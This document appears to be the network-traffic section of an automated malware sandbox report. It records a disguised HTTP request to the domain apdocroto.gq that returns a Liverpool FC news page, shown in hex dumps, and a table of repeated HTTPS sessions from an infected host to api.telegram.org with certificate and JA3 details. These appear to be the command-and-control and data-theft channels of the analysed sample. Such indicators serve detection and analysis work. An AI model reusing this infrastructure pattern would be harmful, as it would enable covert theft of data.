2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.
Jun 16, 2021 12:06:03.885014057 CEST	13070	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1 Accept: application/json UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Authorization: Bearer {token} Host: apdocroto.gq
Jun 16, 2021 12:06:04.096467018 CEST	13072	IN	HTTP/1.1 200 OK Date: Wed, 16 Jun 2021 10:06:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 0ab5e20e8e00002c321aa2e000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=oH1ijeqt9bP6SewSlfCNgTIEl9sNx4BTjZl9QcetAehzrFdfCTZAF2tFWyNzM1M1nOMkiNffYDhNLVkobE6RZj3vUK%2Bz%2FDQHZe%2F2XrdCclfGJ5bNRy%2BJwcXs"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6603392a7cc12c32-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 37 64 31 36 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72 20 30 34 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d 0a 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6c 69 76 65 72 70 6f 6f 6c 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6c 69 78 2e 64 61 Data Ascii: 7d16<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477--><head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liverpool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liverpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://felix.da

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jun 16, 2021 12:06:02.519313097 CEST	149.154.167.220	443	192.168.2.22	49171	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:10.047739029 CEST	149.154.167.220	443	192.168.2.22	49172	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:20.260234118 CEST	149.154.167.220	443	192.168.2.22	49173	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:25.970966101 CEST	149.154.167.220	443	192.168.2.22	49174	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:27.760344982 CEST	149.154.167.220	443	192.168.2.22	49175	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:32.529769897 CEST	149.154.167.220	443	192.168.2.22	49177	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:38.502058983 CEST	149.154.167.220	443	192.168.2.22	49178	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:43.884701967 CEST	149.154.167.220	443	192.168.2.22	49179	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:46.833290100 CEST	149.154.167.220	443	192.168.2.22	49180	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Jun 16, 2021 12:06:49.024821043 CEST	149.154.167.220	443	192.168.2.22	49181	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19-5-4,0-10-11-13-23-65281,23-24,0	36f7277af969a6947a61ae0b815907a1
